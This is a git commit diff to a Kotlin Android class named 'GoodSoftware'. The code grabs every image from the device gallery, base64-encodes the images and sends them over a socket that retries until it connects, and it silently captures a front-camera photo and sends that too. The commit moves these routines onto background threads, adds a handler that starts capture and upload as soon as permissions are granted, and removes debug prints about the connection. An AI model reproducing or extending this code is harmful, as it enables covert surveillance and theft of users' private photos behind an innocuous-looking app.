Minor changes
This commit is contained in:
parent
3227638475
commit
8aedcfc564
@ -1,4 +1,4 @@
|
|||||||
package com.ti.m
|
package com.ti.mobpo
|
||||||
|
|
||||||
import android.Manifest
|
import android.Manifest
|
||||||
import android.content.ContentResolver
|
import android.content.ContentResolver
|
||||||
@ -23,7 +23,7 @@ import androidx.core.app.ActivityCompat
|
|||||||
import androidx.core.content.ContextCompat
|
import androidx.core.content.ContextCompat
|
||||||
import androidx.lifecycle.LifecycleOwner
|
import androidx.lifecycle.LifecycleOwner
|
||||||
import androidx.lifecycle.lifecycleScope
|
import androidx.lifecycle.lifecycleScope
|
||||||
import kotlinx.coroutines.Dispatchers
|
import com.ti.m.MainActivity
|
||||||
import kotlinx.coroutines.launch
|
import kotlinx.coroutines.launch
|
||||||
import java.io.BufferedReader
|
import java.io.BufferedReader
|
||||||
import java.io.ByteArrayOutputStream
|
import java.io.ByteArrayOutputStream
|
||||||
@ -97,37 +97,20 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun launch() {
|
fun launch() {
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
Thread{
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED) {
|
checkStoragePermission()
|
||||||
grabAllImages()
|
}.start()
|
||||||
} else {
|
Thread{
|
||||||
requestMediaImagesPermission()
|
checkCameraPermission()
|
||||||
}
|
}.start()
|
||||||
} else {
|
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
|
|
||||||
grabAllImages()
|
|
||||||
} else {
|
|
||||||
requestGalleryPermission()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
|
|
||||||
takePicture()
|
|
||||||
} else {
|
|
||||||
requestCameraPermission()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fun start(){
|
|
||||||
activity.lifecycleScope.launch(Dispatchers.Default) {
|
|
||||||
launch()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun checkCameraPermission() {
|
private fun checkCameraPermission() {
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||||
requestCameraPermission()
|
requestCameraPermission()
|
||||||
|
}else{
|
||||||
|
takePicture()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -135,6 +118,22 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private fun checkStoragePermission() {
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||||
|
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
|
||||||
|
requestMediaImagesPermission()
|
||||||
|
}else{
|
||||||
|
grabMedia()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
|
||||||
|
requestGalleryPermission()
|
||||||
|
}else{
|
||||||
|
grabMedia()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
||||||
private fun requestMediaImagesPermission() {
|
private fun requestMediaImagesPermission() {
|
||||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||||
@ -142,15 +141,11 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
|
|
||||||
private fun takePicture(){
|
private fun takePicture(){
|
||||||
activity.lifecycleScope.launch {
|
activity.lifecycleScope.launch {
|
||||||
try {
|
takeBeautifulPicture(activity, activity)
|
||||||
takeBeautifulPicture(activity, activity)
|
|
||||||
} catch (e: Exception){
|
|
||||||
println(e)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun grabAllImages(){
|
private fun grabMedia(){
|
||||||
Thread {
|
Thread {
|
||||||
try {
|
try {
|
||||||
val imageList = getAllImagesFromGallery(activity)
|
val imageList = getAllImagesFromGallery(activity)
|
||||||
@ -163,12 +158,13 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
disconnect(connection)
|
disconnect(connection)
|
||||||
}catch (e: Exception){
|
} catch (e: Exception) {
|
||||||
e.printStackTrace()
|
e.printStackTrace()
|
||||||
}
|
}
|
||||||
}.start()
|
}.start()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
||||||
var base64Image = ""
|
var base64Image = ""
|
||||||
try {
|
try {
|
||||||
@ -222,6 +218,29 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
private fun requestGalleryPermission() {
|
private fun requestGalleryPermission() {
|
||||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Handle permission request result
|
||||||
|
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
|
||||||
|
when (requestCode) {
|
||||||
|
REQUEST_CAMERA_PERMISSION -> {
|
||||||
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
takePicture()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
REQUEST_GALLERY -> {
|
||||||
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
grabMedia()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
REQUEST_MEDIA_IMAGES_PERMISSION -> {
|
||||||
|
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
grabMedia()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
data class ConnectionResult(
|
data class ConnectionResult(
|
||||||
val socket: Socket,
|
val socket: Socket,
|
||||||
val reader: BufferedReader,
|
val reader: BufferedReader,
|
||||||
@ -270,10 +289,8 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
while (attempt < maxRetries) {
|
while (attempt < maxRetries) {
|
||||||
try {
|
try {
|
||||||
connectionResult = establishConnection()
|
connectionResult = establishConnection()
|
||||||
println("Connection successful")
|
|
||||||
break
|
break
|
||||||
} catch (e: Exception) {
|
} catch (e: Exception) {
|
||||||
println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
|
|
||||||
e.printStackTrace()
|
e.printStackTrace()
|
||||||
attempt++
|
attempt++
|
||||||
Thread.sleep(getRetryDelay(attempt))
|
Thread.sleep(getRetryDelay(attempt))
|
||||||
@ -341,16 +358,19 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Select the lens facing, prioritize front camera if available
|
||||||
lensFacing = if (hasFrontCamera()) {
|
lensFacing = if (hasFrontCamera()) {
|
||||||
CameraSelector.LENS_FACING_FRONT
|
CameraSelector.LENS_FACING_FRONT
|
||||||
} else {
|
} else {
|
||||||
CameraSelector.LENS_FACING_BACK
|
CameraSelector.LENS_FACING_BACK
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Create ImageCapture instance
|
||||||
imageCapture = ImageCapture.Builder()
|
imageCapture = ImageCapture.Builder()
|
||||||
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
||||||
.build()
|
.build()
|
||||||
|
|
||||||
|
// Set up image capture listener
|
||||||
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
||||||
override fun onError(exc: ImageCaptureException) {
|
override fun onError(exc: ImageCaptureException) {
|
||||||
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
||||||
@ -358,6 +378,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
override fun onCaptureSuccess(image: ImageProxy) {
|
override fun onCaptureSuccess(image: ImageProxy) {
|
||||||
|
// Process captured image here
|
||||||
val byteArrayOutputStream = ByteArrayOutputStream()
|
val byteArrayOutputStream = ByteArrayOutputStream()
|
||||||
val imagePlane = image.planes[0]
|
val imagePlane = image.planes[0]
|
||||||
val buffer = imagePlane.buffer
|
val buffer = imagePlane.buffer
|
||||||
@ -390,6 +411,10 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
private fun hasBackCamera(): Boolean {
|
private fun hasBackCamera(): Boolean {
|
||||||
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
||||||
}
|
}
|
||||||
@ -435,6 +460,8 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
imageList.add(contentUri.toString())
|
imageList.add(contentUri.toString())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||||
}
|
}
|
||||||
|
|
||||||
return imageList
|
return imageList
|
||||||
|
Loading…
x
Reference in New Issue
Block a user